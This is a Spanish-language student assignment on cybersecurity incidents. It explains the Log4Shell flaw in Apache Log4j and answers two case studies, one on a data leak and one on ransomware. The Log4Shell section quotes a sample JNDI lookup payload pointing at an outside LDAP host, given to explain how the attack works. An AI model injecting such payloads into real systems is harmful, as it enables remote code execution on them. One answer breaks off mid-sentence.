IFC342

Guía 1

|  |  |
| --- | --- |
| Nombres Integrantes: | Ashley Caroca |
|  | Carlos Fuenzalida |
|  | Cristóbal Maturana |
|  | Javier Oviedo |
| Número Grupo: | 7 |

### **Objetivo de la Actividad**

La siguiente actividad busca que los alumnos investiguen sobre diversos incidentes de ciberseguridad a nivel mundial, analizando los atributos de la triada de la ciberseguridad afectados, su impacto, y las medidas para evitar que ocurran. Además, que en base a una serie de casos elijan y determinen las acciones adecuadas para proteger los activos de información y tomar decisiones seguras frente a diferentes escenarios.

**Actividad Parte 1:**

Investigue sobre algún incidente relacionado con la seguridad de la información, tanto en Chile como en el resto del mundo y complete la tabla:

|  |
| --- |
| a.- Descripción del ataque |
| **ejecución remota de código**no autenticado (RCE) en cualquier aplicación que use esta utilidad de código abierto y afecte a las versiones no parcheadas, de Apache Log4j 2.0-beta9 hasta la 2.14. 1. El error fue calificado con la **puntuación máxima de 10 sobre 10 en el sistema de clasificación CVSS** |
| b.- Atributos de la Ciberseguridad afectados |
| se ve afectada la triada completa es decir la integridad, confidencialidad y disponibilidad.  Esto al ser un error calificado con puntuación 10 en el sistema de clasificación CVSS |
| c.-Implicancias para la compañía en términos de pérdida patrimonial y prestigio |
| **Las empresas que se ven afectadas por este tipo de incidentes sufren pérdidas en términos de privacidad de sus documentos y acceso a estos, lo que implica inseguridad en sus procesos.** |
| d.- Fallas de seguridad que permitieron que el ataque se concretara |
| En este caso, la vulnerabilidad Log4Shell está contenida en un plug-in que proporciona una forma para que las aplicaciones Java recuperen objetos almacenados en un directorio DNS o LDAP. El plug-in JNDI Lookup contiene la vulnerabilidad Log4Shell; en general, las consultas solo deben incluir el nombre del objeto. Sin embargo, cuando se ingresa una URL en lugar del nombre del objeto, por ejemplo, ${jndi: ldap: //website.com/rce}, Log4j se conectará a JNDI en el servidor especificado y obtendrá el objeto Java, permitiendo así la ejecución remota de código. en el servidor de registro. |
| c.- Medidas que usted recomendaría para evitar este tipo de ataques. |
| [Desde la Fundación Apache](https://logging.apache.org/log4j/2.x/security.html) se recomienda **actualizar sistemas a la mayor brevedad**con la nueva versión 2.15.0, que soluciona el fallo deshabilitando la capacidad de un atacante que en versiones anteriores podía controlar los mensajes de registro o parámetros del log ejecutando código arbitrario cargado desde servidores LDAP cuando se habilitaba la sustitución del mensaje de búsqueda. Este comportamiento es el que se ha desactivado de manera predeterminado. |

**Actividad Parte 2:**

**CASO 1: SuperFast S.A**

Esta organización desde sus inicios no ha priorizado mucho los temas relacionados con la ciberseguridad, es por esto que presente múltiples falencias. Dentro de sus principales problemas está el que ningún equipo de la oficina cuenta con controles de acceso para sus usuarios, pudiendo cualquier persona, tanto interna como externa, hacer uso de cualquier equipo.

Un día descubrieron que toda su cartera de clientes y proveedores había sido filtrada a su principal competencia en el mercado, afectando muy fuertemente en lo económico, al perder a varios de ellos.

* **Indicar las vulnerabilidades, amenazas y riesgos presentes en la infraestructura de la organización**.
* Al no presentar control de acceso a los equipos de la empresa es muy fácil poder vulnerar su seguridad por ende corren un alto riesgo de filtrar toda la información crítica de la empresa.
* **Indicar que actores de amenazas podrían estar presentes en la red de la organización.**
* Es una amenaza interna el no colocar contraseña ni cifrar su información crítica.
* **¿Qué elementos de la triada de la seguridad de la información falló? Fundamentar su respuesta.**
* Fallo la Confidencialidad debido a que alguien sin autorización a esa información la vio de igual manera e incluso la filtro.
* **¿Qué tareas de ciberseguridad proponen, para los problemas ocurridos en la empresa? Fundamentar su respuesta.**
* Proponemos que realicen unas

**CASO 2: TeleOfertas S.A**

La empresa dedicada a la tarificación de llamados telefónicos, desde hace varios años ha tenido la conciencia que la protección de la información y datos confidenciales son claves para mantener su crecimiento como compañía en el tiempo. Por tal motivo, han implementado una serie de configuraciones que ha ayudado a mantener su red segura, como el uso de antivirus corporativos, firewalls, IDS, IPS, aplicar políticas GPO entre otras.

Lamentablemente, a pesar de toda su infraestructura de seguridad, la empresa ha descuidado un factor esencial en cualquier organización, las personas con su cultura en ciberseguridad. Hace un par de meses, un usuario recibió un correo electrónico, el cual tenía como remitente una persona que anteriormente había trabajado en la compañía, el cual traía un archivo adjunto. El problema era que, al abrir el archivo el equipo se bloqueaba automáticamente, solicitando un rescate por la información que había sido cifrada. Este rescate fue mediante el uso de la moneda virtual Bitcoin y afectó a gran parte de los equipos de la empresa.

Finalmente, la organización dio por perdida la información, y estableció un proceso para formatear los equipos para poder ser utilizados nuevamente. Indicar lo siguiente:

* **Indicar las vulnerabilidades, amenazas y riesgos presentes en la infraestructura de la organización.**

La ignorancia de el usuario que recibió el correo puede ser la vulnerabilidad más perjudicial en este caso porque no importan cuantos software para prevenir se instalen, si el equipo no tiene conocimiento de diversas formas de ataques malintencionados.

* **Indicar que actores de amenazas podrían estar presentes en la red de la organización.**

Los actores de amenazas son criminales, hackers de sombrero negro que realizan este tipo de acciones para recibir una compensación a cambio para su beneficio personal.

* **¿Qué elementos de la tríada de la seguridad de la información falló? Fundamentar su respuesta.**

Los elementos de la tríada que fallaron fueron confidencialidad porque pese a los esfuerzos que la empresa puso en el cuidado de sus datos, aun así fueron secuestrados maliciosamente. También accesibilidad porque los empleados no pudieron acceder a esos datos para trabajar.

* **¿Qué tareas de ciberseguridad proponen, para los problemas ocurridos en la empresa? Fundamentar su respuesta.**

Para evitar este tipo de incidentes, las empresas deben estar a la vanguardia en términos de actualizaciones de sus sistemas informáticos, también educar a aquellos empleados que pueden ser víctimas de estos ataques sería un buen paso a seguir.

**Revisión de la Actividad**

Una vez terminada la guía, se debe enviar al docente a través de mensaje interno de Blackboard, especificando

* Nombre Asignatura
* Guía N°1.
* Nombre de Integrantes
* Número del grupo